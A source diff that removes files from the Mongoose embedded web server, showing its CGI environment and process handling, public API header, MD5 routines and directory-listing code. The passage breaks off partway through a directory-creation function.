-static char *addenv(struct cgi_env_block *block,
-                    PRINTF_FORMAT_STRING(const char *fmt), ...)
-  PRINTF_ARGS(2, 3);
-
-// Append VARIABLE=VALUE\0 string to the buffer, and add a respective
-// pointer into the vars array.
-static char *addenv(struct cgi_env_block *block, const char *fmt, ...) {
-  int n, space;
-  char *added;
-  va_list ap;
-
-  // Calculate how much space is left in the buffer
-  space = sizeof(block->buf) - block->len - 2;
-  assert(space >= 0);
-
-  // Make a pointer to the free space int the buffer
-  added = block->buf + block->len;
-
-  // Copy VARIABLE=VALUE\0 string into the free space
-  va_start(ap, fmt);
-  n = mg_vsnprintf(added, (size_t) space, fmt, ap);
-  va_end(ap);
-
-  // Make sure we do not overflow buffer and the envp array
-  if (n > 0 && n + 1 < space &&
-      block->nvars < (int) ARRAY_SIZE(block->vars) - 2) {
-    // Append a pointer to the added string into the envp array
-    block->vars[block->nvars++] = added;
-    // Bump up used length counter. Include \0 terminator
-    block->len += n + 1;
-  } else {
-    cry(block->conn, "%s: CGI env buffer truncated for [%s]", __func__, fmt);
-  }
-
-  return added;
-}
-
-static void prepare_cgi_environment(struct mg_connection *conn,
-                                    const char *prog,
-                                    struct cgi_env_block *blk) {
-  const struct mg_request_info *ri = &conn->request_info;
-  const char *s, *slash;
-  struct vec var_vec;
-  char *p, src_addr[IP_ADDR_STR_LEN];
-  int  i;
-
-  blk->len = blk->nvars = 0;
-  blk->conn = conn;
-  sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
-
-  addenv(blk, "SERVER_NAME=%s", conn->ctx->config[AUTHENTICATION_DOMAIN]);
-  addenv(blk, "SERVER_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
-  addenv(blk, "DOCUMENT_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
-  addenv(blk, "SERVER_SOFTWARE=%s/%s", "Mongoose", mg_version());
-
-  // Prepare the environment block
-  addenv(blk, "%s", "GATEWAY_INTERFACE=CGI/1.1");
-  addenv(blk, "%s", "SERVER_PROTOCOL=HTTP/1.1");
-  addenv(blk, "%s", "REDIRECT_STATUS=200"); // For PHP
-
-  // TODO(lsm): fix this for IPv6 case
-  addenv(blk, "SERVER_PORT=%d", ntohs(conn->client.lsa.sin.sin_port));
-
-  addenv(blk, "REQUEST_METHOD=%s", ri->request_method);
-  addenv(blk, "REMOTE_ADDR=%s", src_addr);
-  addenv(blk, "REMOTE_PORT=%d", ri->remote_port);
-  addenv(blk, "REQUEST_URI=%s%s%s", ri->uri,
-         ri->query_string == NULL ? "" : "?",
-         ri->query_string == NULL ? "" : ri->query_string);
-
-  // SCRIPT_NAME
-  if (conn->path_info != NULL) {
-    addenv(blk, "SCRIPT_NAME=%.*s",
-           (int) (strlen(ri->uri) - strlen(conn->path_info)), ri->uri);
-    addenv(blk, "PATH_INFO=%s", conn->path_info);
-  } else {
-    s = strrchr(prog, '/');
-    slash = strrchr(ri->uri, '/');
-    addenv(blk, "SCRIPT_NAME=%.*s%s",
-           slash == NULL ? 0 : (int) (slash - ri->uri), ri->uri,
-           s == NULL ? prog : s);
-  }
-
-  addenv(blk, "SCRIPT_FILENAME=%s", prog);
-  addenv(blk, "PATH_TRANSLATED=%s", prog);
-  addenv(blk, "HTTPS=%s", conn->ssl == NULL ? "off" : "on");
-
-  if ((s = mg_get_header(conn, "Content-Type")) != NULL)
-    addenv(blk, "CONTENT_TYPE=%s", s);
-
-  if (ri->query_string != NULL) {
-    addenv(blk, "QUERY_STRING=%s", ri->query_string);
-  }
-
-  if ((s = mg_get_header(conn, "Content-Length")) != NULL)
-    addenv(blk, "CONTENT_LENGTH=%s", s);
-
-  if ((s = getenv("PATH")) != NULL)
-    addenv(blk, "PATH=%s", s);
-
-#if defined(_WIN32)
-  if ((s = getenv("COMSPEC")) != NULL) {
-    addenv(blk, "COMSPEC=%s", s);
-  }
-  if ((s = getenv("SYSTEMROOT")) != NULL) {
-    addenv(blk, "SYSTEMROOT=%s", s);
-  }
-  if ((s = getenv("SystemDrive")) != NULL) {
-    addenv(blk, "SystemDrive=%s", s);
-  }
-  if ((s = getenv("ProgramFiles")) != NULL) {
-    addenv(blk, "ProgramFiles=%s", s);
-  }
-  if ((s = getenv("ProgramFiles(x86)")) != NULL) {
-    addenv(blk, "ProgramFiles(x86)=%s", s);
-  }
-  if ((s = getenv("CommonProgramFiles(x86)")) != NULL) {
-    addenv(blk, "CommonProgramFiles(x86)=%s", s);
-  }
-#else
-  if ((s = getenv("LD_LIBRARY_PATH")) != NULL)
-    addenv(blk, "LD_LIBRARY_PATH=%s", s);
-#endif // _WIN32
-
-  if ((s = getenv("PERLLIB")) != NULL)
-    addenv(blk, "PERLLIB=%s", s);
-
-  if (ri->remote_user != NULL) {
-    addenv(blk, "REMOTE_USER=%s", ri->remote_user);
-    addenv(blk, "%s", "AUTH_TYPE=Digest");
-  }
-
-  // Add all headers as HTTP_* variables
-  for (i = 0; i < ri->num_headers; i++) {
-    p = addenv(blk, "HTTP_%s=%s",
-        ri->http_headers[i].name, ri->http_headers[i].value);
-
-    // Convert variable name into uppercase, and change - to _
-    for (; *p != '=' && *p != '\0'; p++) {
-      if (*p == '-')
-        *p = '_';
-      *p = (char) toupper(* (unsigned char *) p);
-    }
-  }
-
-  // Add user-specified variables
-  s = conn->ctx->config[CGI_ENVIRONMENT];
-  while ((s = next_option(s, &var_vec, NULL)) != NULL) {
-    addenv(blk, "%.*s", (int) var_vec.len, var_vec.ptr);
-  }
-
-  blk->vars[blk->nvars++] = NULL;
-  blk->buf[blk->len++] = '\0';
-
-  assert(blk->nvars < (int) ARRAY_SIZE(blk->vars));
-  assert(blk->len > 0);
-  assert(blk->len < (int) sizeof(blk->buf));
-}
-
-static void handle_cgi_request(struct mg_connection *conn, const char *prog) {
-  int headers_len, data_len, i, fdin[2] = {-1, -1}, fdout[2] = {-1, -1};
-  const char *status, *status_text;
-  char buf[16384], *pbuf, dir[PATH_MAX], *p;
-  struct mg_request_info ri;
-  struct cgi_env_block blk;
-  FILE *in = NULL, *out = NULL;
-  pid_t pid = (pid_t) -1;
-
-  memset(&ri, 0, sizeof(ri));
-  prepare_cgi_environment(conn, prog, &blk);
-
-  // CGI must be executed in its own directory. 'dir' must point to the
-  // directory containing executable program, 'p' must point to the
-  // executable program name relative to 'dir'.
-  (void) mg_snprintf(dir, sizeof(dir), "%s", prog);
-  if ((p = strrchr(dir, '/')) != NULL) {
-    *p++ = '\0';
-  } else {
-    dir[0] = '.', dir[1] = '\0';
-    p = (char *) prog;
-  }
-
-  if (pipe(fdin) != 0 || pipe(fdout) != 0) {
-    send_http_error(conn, 500, http_500_error,
-        "Cannot create CGI pipe: %s", strerror(ERRNO));
-    goto done;
-  }
-
-  pid = spawn_process(conn, p, blk.buf, blk.vars, fdin[0], fdout[1], dir);
-  if (pid == (pid_t) -1) {
-    send_http_error(conn, 500, http_500_error,
-        "Cannot spawn CGI process [%s]: %s", prog, strerror(ERRNO));
-    goto done;
-  }
-
-  // Make sure child closes all pipe descriptors. It must dup them to 0,1
-  set_close_on_exec(fdin[0]);
-  set_close_on_exec(fdin[1]);
-  set_close_on_exec(fdout[0]);
-  set_close_on_exec(fdout[1]);
-
-  // Parent closes only one side of the pipes.
-  // If we don't mark them as closed, close() attempt before
-  // return from this function throws an exception on Windows.
-  // Windows does not like when closed descriptor is closed again.
-  (void) close(fdin[0]);
-  (void) close(fdout[1]);
-  fdin[0] = fdout[1] = -1;
-
-
-  if ((in = fdopen(fdin[1], "wb")) == NULL ||
-      (out = fdopen(fdout[0], "rb")) == NULL) {
-    send_http_error(conn, 500, http_500_error,
-        "fopen: %s", strerror(ERRNO));
-    goto done;
-  }
-
-  setbuf(in, NULL);
-  setbuf(out, NULL);
-
-  // Send POST data to the CGI process if needed
-  if (!strcmp(conn->request_info.request_method, "POST") &&
-      !forward_body_data(conn, in, INVALID_SOCKET, NULL)) {
-    goto done;
-  }
-
-  // Close so child gets an EOF.
-  fclose(in);
-  in = NULL;
-  fdin[1] = -1;
-
-  // Now read CGI reply into a buffer. We need to set correct
-  // status code, thus we need to see all HTTP headers first.
-  // Do not send anything back to client, until we buffer in all
-  // HTTP headers.
-  data_len = 0;
-  headers_len = read_request(out, conn, buf, sizeof(buf), &data_len);
-  if (headers_len <= 0) {
-    send_http_error(conn, 500, http_500_error,
-                    "CGI program sent malformed or too big (>%u bytes) "
-                    "HTTP headers: [%.*s]",
-                    (unsigned) sizeof(buf), data_len, buf);
-    goto done;
-  }
-  pbuf = buf;
-  buf[headers_len - 1] = '\0';
-  parse_http_headers(&pbuf, &ri);
-
-  // Make up and send the status line
-  status_text = "OK";
-  if ((status = get_header(&ri, "Status")) != NULL) {
-    conn->status_code = atoi(status);
-    status_text = status;
-    while (isdigit(* (unsigned char *) status_text) || *status_text == ' ') {
-      status_text++;
-    }
-  } else if (get_header(&ri, "Location") != NULL) {
-    conn->status_code = 302;
-  } else {
-    conn->status_code = 200;
-  }
-  if (get_header(&ri, "Connection") != NULL &&
-      !mg_strcasecmp(get_header(&ri, "Connection"), "keep-alive")) {
-    conn->must_close = 1;
-  }
-  (void) mg_printf(conn, "HTTP/1.1 %d %s\r\n", conn->status_code,
-                   status_text);
-
-  // Send headers
-  for (i = 0; i < ri.num_headers; i++) {
-    mg_printf(conn, "%s: %s\r\n",
-              ri.http_headers[i].name, ri.http_headers[i].value);
-  }
-  mg_write(conn, "\r\n", 2);
-
-  // Send chunk of data that may have been read after the headers
-  conn->num_bytes_sent += mg_write(conn, buf + headers_len,
-                                   (size_t)(data_len - headers_len));
-
-  // Read the rest of CGI output and send to the client
-  send_file_data(conn, out, 0, INT64_MAX);
-
-done:
-  if (pid != (pid_t) -1) {
-    kill(pid, SIGKILL);
-  }
-  if (fdin[0] != -1) {
-    close(fdin[0]);
-  }
-  if (fdout[1] != -1) {
-    close(fdout[1]);
-  }
-
-  if (in != NULL) {
-    fclose(in);
-  } else if (fdin[1] != -1) {
-    close(fdin[1]);
-  }
-
-  if (out != NULL) {
-    fclose(out);
-  } else if (fdout[0] != -1) {
-    close(fdout[0]);
-  }
-}
-#endif // !NO_CGI
-

build/src/core.h

@@ -1,91 +0,0 @@
-// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
-// Copyright (c) 2013 Cesanta Software Limited
-// All rights reserved
-//
-// This library is dual-licensed: you can redistribute it and/or modify
-// it under the terms of the GNU General Public License version 2 as
-// published by the Free Software Foundation. For the terms of this
-// license, see <http://www.gnu.org/licenses/>.
-//
-// You are free to use this library under the terms of the GNU General
-// Public License, but WITHOUT ANY WARRANTY; without even the implied
-// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-// See the GNU General Public License for more details.
-//
-// Alternatively, you can license this library under a commercial
-// license, as set out in <http://cesanta.com/products.html>.
-//
-// NOTE: Detailed API documentation is at http://cesanta.com/docs.html
-
-#ifndef MONGOOSE_HEADER_INCLUDED
-#define  MONGOOSE_HEADER_INCLUDED
-
-#include <stdio.h>      // required for FILE
-#include <stddef.h>     // required for size_t
-
-#ifdef __cplusplus
-extern "C" {
-#endif // __cplusplus
-
-// This structure contains information about HTTP request.
-struct mg_connection {
-  const char *request_method; // "GET", "POST", etc
-  const char *uri;            // URL-decoded URI
-  const char *http_version;   // E.g. "1.0", "1.1"
-  const char *query_string;   // URL part after '?', not including '?', or NULL
-
-  char remote_ip[48];         // Max IPv6 string length is 45 characters
-  int remote_port;            // Client's port
-
-  int num_headers;            // Number of HTTP headers
-  struct mg_header {
-    const char *name;         // HTTP header name
-    const char *value;        // HTTP header value
-  } http_headers[30];
-
-  char *content;              // POST (or websocket message) data, or NULL
-  int content_len;            // content length
-
-  int is_websocket;           // Connection is a websocket connection
-  int status_code;            // HTTP status code for HTTP error handler
-  unsigned char wsbits;       // First byte of the websocket frame
-  void *server_param;         // Parameter passed to mg_add_uri_handler()
-  void *connection_param;     // Placeholder for connection-specific data
-};
-
-struct mg_server; // Opaque structure describing server instance
-typedef int (*mg_handler_t)(struct mg_connection *);
-
-// Server management functions
-struct mg_server *mg_create_server(void *server_param);
-void mg_destroy_server(struct mg_server **);
-const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
-void mg_poll_server(struct mg_server *, int milliseconds);
-void mg_add_uri_handler(struct mg_server *, const char *uri, mg_handler_t);
-void mg_set_error_handler(struct mg_server *, mg_handler_t);
-void mg_set_log_handler(struct mg_server*, mg_handler_t);
-const char **mg_get_valid_option_names(void);
-const char *mg_get_option(const struct mg_server *server, const char *name);
-int mg_iterate_over_connections(struct mg_server *,
-                                void (*func)(struct mg_connection *, void *),
-                                void *param);
-
-// Connection management functions
-int mg_write(struct mg_connection *, const void *buf, int len);
-int mg_websocket_write(struct mg_connection *, int opcode,
-                       const char *data, size_t data_len);
-
-const char *mg_get_header(const struct mg_connection *, const char *name);
-const char *mg_get_mime_type(const char *file_name);
-int mg_get_var(const struct mg_connection *conn, const char *var_name,
-               char *buf, size_t buf_len);
-int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
-
-// Utility functions
-int mg_start_thread(void *(*func)(void *), void *param);
-
-#ifdef __cplusplus
-}
-#endif // __cplusplus
-
-#endif // MONGOOSE_HEADER_INCLUDED

build/src/crypto.c

@@ -1,196 +0,0 @@
-static int is_big_endian(void) {
-  static const int n = 1;
-  return ((char *) &n)[0] == 0;
-}
-
-#ifndef HAVE_MD5
-typedef struct MD5Context {
-  uint32_t buf[4];
-  uint32_t bits[2];
-  unsigned char in[64];
-} MD5_CTX;
-
-static void byteReverse(unsigned char *buf, unsigned longs) {
-  uint32_t t;
-
-  // Forrest: MD5 expect LITTLE_ENDIAN, swap if BIG_ENDIAN
-  if (is_big_endian()) {
-    do {
-      t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
-        ((unsigned) buf[1] << 8 | buf[0]);
-      * (uint32_t *) buf = t;
-      buf += 4;
-    } while (--longs);
-  }
-}
-
-#define F1(x, y, z) (z ^ (x & (y ^ z)))
-#define F2(x, y, z) F1(z, x, y)
-#define F3(x, y, z) (x ^ y ^ z)
-#define F4(x, y, z) (y ^ (x | ~z))
-
-#define MD5STEP(f, w, x, y, z, data, s) \
-  ( w += f(x, y, z) + data,  w = w<<s | w>>(32-s),  w += x )
-
-// Start MD5 accumulation.  Set bit count to 0 and buffer to mysterious
-// initialization constants.
-static void MD5Init(MD5_CTX *ctx) {
-  ctx->buf[0] = 0x67452301;
-  ctx->buf[1] = 0xefcdab89;
-  ctx->buf[2] = 0x98badcfe;
-  ctx->buf[3] = 0x10325476;
-
-  ctx->bits[0] = 0;
-  ctx->bits[1] = 0;
-}
-
-static void MD5Transform(uint32_t buf[4], uint32_t const in[16]) {
-  register uint32_t a, b, c, d;
-
-  a = buf[0];
-  b = buf[1];
-  c = buf[2];
-  d = buf[3];
-
-  MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
-  MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
-  MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
-  MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
-  MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
-  MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
-  MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
-  MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
-  MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
-  MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
-  MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
-  MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
-  MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
-  MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
-  MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
-  MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
-
-  MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
-  MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
-  MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
-  MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
-  MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
-  MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
-  MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
-  MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
-  MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
-  MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
-  MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
-  MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
-  MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
-  MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
-  MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
-  MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
-
-  MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
-  MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
-  MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
-  MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
-  MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
-  MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
-  MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
-  MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
-  MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
-  MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
-  MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
-  MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
-  MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
-  MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
-  MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
-  MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
-
-  MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
-  MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
-  MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
-  MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
-  MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
-  MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
-  MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
-  MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
-  MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
-  MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
-  MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
-  MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
-  MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
-  MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
-  MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
-  MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
-
-  buf[0] += a;
-  buf[1] += b;
-  buf[2] += c;
-  buf[3] += d;
-}
-
-static void MD5Update(MD5_CTX *ctx, unsigned char const *buf, unsigned len) {
-  uint32_t t;
-
-  t = ctx->bits[0];
-  if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t)
-    ctx->bits[1]++;
-  ctx->bits[1] += len >> 29;
-
-  t = (t >> 3) & 0x3f;
-
-  if (t) {
-    unsigned char *p = (unsigned char *) ctx->in + t;
-
-    t = 64 - t;
-    if (len < t) {
-      memcpy(p, buf, len);
-      return;
-    }
-    memcpy(p, buf, t);
-    byteReverse(ctx->in, 16);
-    MD5Transform(ctx->buf, (uint32_t *) ctx->in);
-    buf += t;
-    len -= t;
-  }
-
-  while (len >= 64) {
-    memcpy(ctx->in, buf, 64);
-    byteReverse(ctx->in, 16);
-    MD5Transform(ctx->buf, (uint32_t *) ctx->in);
-    buf += 64;
-    len -= 64;
-  }
-
-  memcpy(ctx->in, buf, len);
-}
-
-static void MD5Final(unsigned char digest[16], MD5_CTX *ctx) {
-  unsigned count;
-  unsigned char *p;
-  uint32_t *a;
-
-  count = (ctx->bits[0] >> 3) & 0x3F;
-
-  p = ctx->in + count;
-  *p++ = 0x80;
-  count = 64 - 1 - count;
-  if (count < 8) {
-    memset(p, 0, count);
-    byteReverse(ctx->in, 16);
-    MD5Transform(ctx->buf, (uint32_t *) ctx->in);
-    memset(ctx->in, 0, 56);
-  } else {
-    memset(p, 0, count - 8);
-  }
-  byteReverse(ctx->in, 14);
-
-  a = (uint32_t *)ctx->in;
-  a[14] = ctx->bits[0];
-  a[15] = ctx->bits[1];
-
-  MD5Transform(ctx->buf, (uint32_t *) ctx->in);
-  byteReverse((unsigned char *) ctx->buf, 4);
-  memcpy(digest, ctx->buf, 16);
-  memset((char *) ctx, 0, sizeof(*ctx));
-}
-#endif // !HAVE_MD5
-
-

build/src/directory.c

@@ -1,271 +0,0 @@
-#include "internal.h"
-
-static void print_dir_entry(const struct de *de) {
-  char size[64], mod[64], href[PATH_MAX * 3];
-  const char *slash = de->file.is_directory ? "/" : "";
-
-  if (de->file.is_directory) {
-    mg_snprintf(size, sizeof(size), "%s", "[DIRECTORY]");
-  } else {
-     // We use (signed) cast below because MSVC 6 compiler cannot
-     // convert unsigned __int64 to double. Sigh.
-    if (de->file.size < 1024) {
-      mg_snprintf(size, sizeof(size), "%d", (int) de->file.size);
-    } else if (de->file.size < 0x100000) {
-      mg_snprintf(size, sizeof(size),
-                  "%.1fk", (double) de->file.size / 1024.0);
-    } else if (de->file.size < 0x40000000) {
-      mg_snprintf(size, sizeof(size),
-                  "%.1fM", (double) de->file.size / 1048576);
-    } else {
-      mg_snprintf(size, sizeof(size),
-                  "%.1fG", (double) de->file.size / 1073741824);
-    }
-  }
-  strftime(mod, sizeof(mod), "%d-%b-%Y %H:%M",
-           localtime(&de->file.modification_time));
-  mg_url_encode(de->file_name, href, sizeof(href));
-  de->conn->num_bytes_sent += mg_chunked_printf(de->conn,
-      "<tr><td><a href=\"%s%s%s\">%s%s</a></td>"
-      "<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
-      de->conn->request_info.uri, href, slash, de->file_name, slash, mod, size);
-}
-
-// This function is called from send_directory() and used for
-// sorting directory entries by size, or name, or modification time.
-// On windows, __cdecl specification is needed in case if project is built
-// with __stdcall convention. qsort always requires __cdels callback.
-static int WINCDECL compare_dir_entries(const void *p1, const void *p2) {
-  const struct de *a = (const struct de *) p1, *b = (const struct de *) p2;
-  const char *query_string = a->conn->request_info.query_string;
-  int cmp_result = 0;
-
-  if (query_string == NULL) {
-    query_string = "na";
-  }
-
-  if (a->file.is_directory && !b->file.is_directory) {
-    return -1;  // Always put directories on top
-  } else if (!a->file.is_directory && b->file.is_directory) {
-    return 1;   // Always put directories on top
-  } else if (*query_string == 'n') {
-    cmp_result = strcmp(a->file_name, b->file_name);
-  } else if (*query_string == 's') {
-    cmp_result = a->file.size == b->file.size ? 0 :
-      a->file.size > b->file.size ? 1 : -1;
-  } else if (*query_string == 'd') {
-    cmp_result = a->file.modification_time == b->file.modification_time ? 0 :
-      a->file.modification_time > b->file.modification_time ? 1 : -1;
-  }
-
-  return query_string[1] == 'd' ? -cmp_result : cmp_result;
-}
-
-static int must_hide_file(struct mg_connection *conn, const char *path) {
-  const char *pw_pattern = "**" PASSWORDS_FILE_NAME "$";
-  const char *pattern = conn->ctx->config[HIDE_FILES];
-  return match_prefix(pw_pattern, strlen(pw_pattern), path) > 0 ||
-    (pattern != NULL && match_prefix(pattern, strlen(pattern), path) > 0);
-}
-
-static int scan_directory(struct mg_connection *conn, const char *dir,
-                          void *data, void (*cb)(struct de *, void *)) {
-  char path[PATH_MAX];
-  struct dirent *dp;
-  DIR *dirp;
-  struct de de;
-
-  if ((dirp = opendir(dir)) == NULL) {
-    return 0;
-  } else {
-    de.conn = conn;
-
-    while ((dp = readdir(dirp)) != NULL) {
-      // Do not show current dir and hidden files
-      if (!strcmp(dp->d_name, ".") ||
-          !strcmp(dp->d_name, "..") ||
-          must_hide_file(conn, dp->d_name)) {
-        continue;
-      }
-
-      mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
-
-      // If we don't memset stat structure to zero, mtime will have
-      // garbage and strftime() will segfault later on in
-      // print_dir_entry(). memset is required only if mg_stat()
-      // fails. For more details, see
-      // http://code.google.com/p/mongoose/issues/detail?id=79
-      memset(&de.file, 0, sizeof(de.file));
-      mg_stat(path, &de.file);
-
-      de.file_name = dp->d_name;
-      cb(&de, data);
-    }
-    (void) closedir(dirp);
-  }
-  return 1;
-}
-
-static int remove_directory(struct mg_connection *conn, const char *dir) {
-  char path[PATH_MAX];
-  struct dirent *dp;
-  DIR *dirp;
-  struct de de;
-
-  if ((dirp = opendir(dir)) == NULL) {
-    return 0;
-  } else {
-    de.conn = conn;
-
-    while ((dp = readdir(dirp)) != NULL) {
-      // Do not show current dir, but show hidden files
-      if (!strcmp(dp->d_name, ".") ||
-          !strcmp(dp->d_name, "..")) {
-        continue;
-      }
-
-      mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
-
-      // If we don't memset stat structure to zero, mtime will have
-      // garbage and strftime() will segfault later on in
-      // print_dir_entry(). memset is required only if mg_stat()
-      // fails. For more details, see
-      // http://code.google.com/p/mongoose/issues/detail?id=79
-      memset(&de.file, 0, sizeof(de.file));
-      mg_stat(path, &de.file);
-      if(de.file.modification_time) {
-          if(de.file.is_directory) {
-              remove_directory(conn, path);
-          } else {
-              mg_remove(path);
-          }
-      }
-
-    }
-    (void) closedir(dirp);
-
-    rmdir(dir);
-  }
-
-  return 1;
-}
-
-struct dir_scan_data {
-  struct de *entries;
-  int num_entries;
-  int arr_size;
-};
-
-// Behaves like realloc(), but frees original pointer on failure
-static void *realloc2(void *ptr, size_t size) {
-  void *new_ptr = realloc(ptr, size);
-  if (new_ptr == NULL) {
-    free(ptr);
-  }
-  return new_ptr;
-}
-
-static void dir_scan_callback(struct de *de, void *data) {
-  struct dir_scan_data *dsd = (struct dir_scan_data *) data;
-
-  if (dsd->entries == NULL || dsd->num_entries >= dsd->arr_size) {
-    dsd->arr_size *= 2;
-    dsd->entries = (struct de *) realloc2(dsd->entries, dsd->arr_size *
-                                          sizeof(dsd->entries[0]));
-  }
-  if (dsd->entries == NULL) {
-    // TODO(lsm): propagate an error to the caller
-    dsd->num_entries = 0;
-  } else {
-    dsd->entries[dsd->num_entries].file_name = mg_strdup(de->file_name);
-    dsd->entries[dsd->num_entries].file = de->file;
-    dsd->entries[dsd->num_entries].conn = de->conn;
-    dsd->num_entries++;
-  }
-}
-
-static void handle_directory_request(struct mg_connection *conn,
-                                     const char *dir) {
-  int i, sort_direction;
-  struct dir_scan_data data = { NULL, 0, 128 };
-
-  if (!scan_directory(conn, dir, &data, dir_scan_callback)) {
-    send_http_error(conn, 500, "Cannot open directory",
-                    "Error: opendir(%s): %s", dir, strerror(ERRNO));
-    return;
-  }
-
-  sort_direction = conn->request_info.query_string != NULL &&
-    conn->request_info.query_string[1] == 'd' ? 'a' : 'd';
-
-  conn->must_close = 1;
-  mg_printf(conn, "%s",
-            "HTTP/1.1 200 OK\r\n"
-            "Transfer-Encoding: Chunked\r\n"
-            "Content-Type: text/html; charset=utf-8\r\n\r\n");
-
-  conn->num_bytes_sent += mg_chunked_printf(conn,
-      "<html><head><title>Index of %s</title>"
-      "<style>th {text-align: left;}</style></head>"
-      "<body><h1>Index of %s</h1><pre><table cellpadding=\"0\">"
-      "<tr><th><a href=\"?n%c\">Name</a></th>"
-      "<th><a href=\"?d%c\">Modified</a></th>"
-      "<th><a href=\"?s%c\">Size</a></th></tr>"
-      "<tr><td colspan=\"3\"><hr></td></tr>",
-      conn->request_info.uri, conn->request_info.uri,
-      sort_direction, sort_direction, sort_direction);
-
-  // Print first entry - link to a parent directory
-  conn->num_bytes_sent += mg_chunked_printf(conn,
-      "<tr><td><a href=\"%s%s\">%s</a></td>"
-      "<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
-      conn->request_info.uri, "..", "Parent directory", "-", "-");
-
-  // Sort and print directory entries
-  qsort(data.entries, (size_t) data.num_entries, sizeof(data.entries[0]),
-        compare_dir_entries);
-  for (i = 0; i < data.num_entries; i++) {
-    print_dir_entry(&data.entries[i]);
-    free(data.entries[i].file_name);
-  }
-  free(data.entries);
-
-  conn->num_bytes_sent += mg_chunked_printf(conn, "%s",
-                                            "</table></body></html>");
-  conn->num_bytes_sent += mg_write(conn, "0\r\n\r\n", 5);
-  conn->status_code = 200;
-}
-
-// For a given PUT path, create all intermediate subdirectories
-// for given path. Return 0 if the path itself is a directory,
-// or -1 on error, 1 if OK.
-static int put_dir(const char *path) {
-  char buf[PATH_MAX];
-  const char *s, *p;
-  struct file file = STRUCT_FILE_INITIALIZER;
-  int len, res = 1;
-
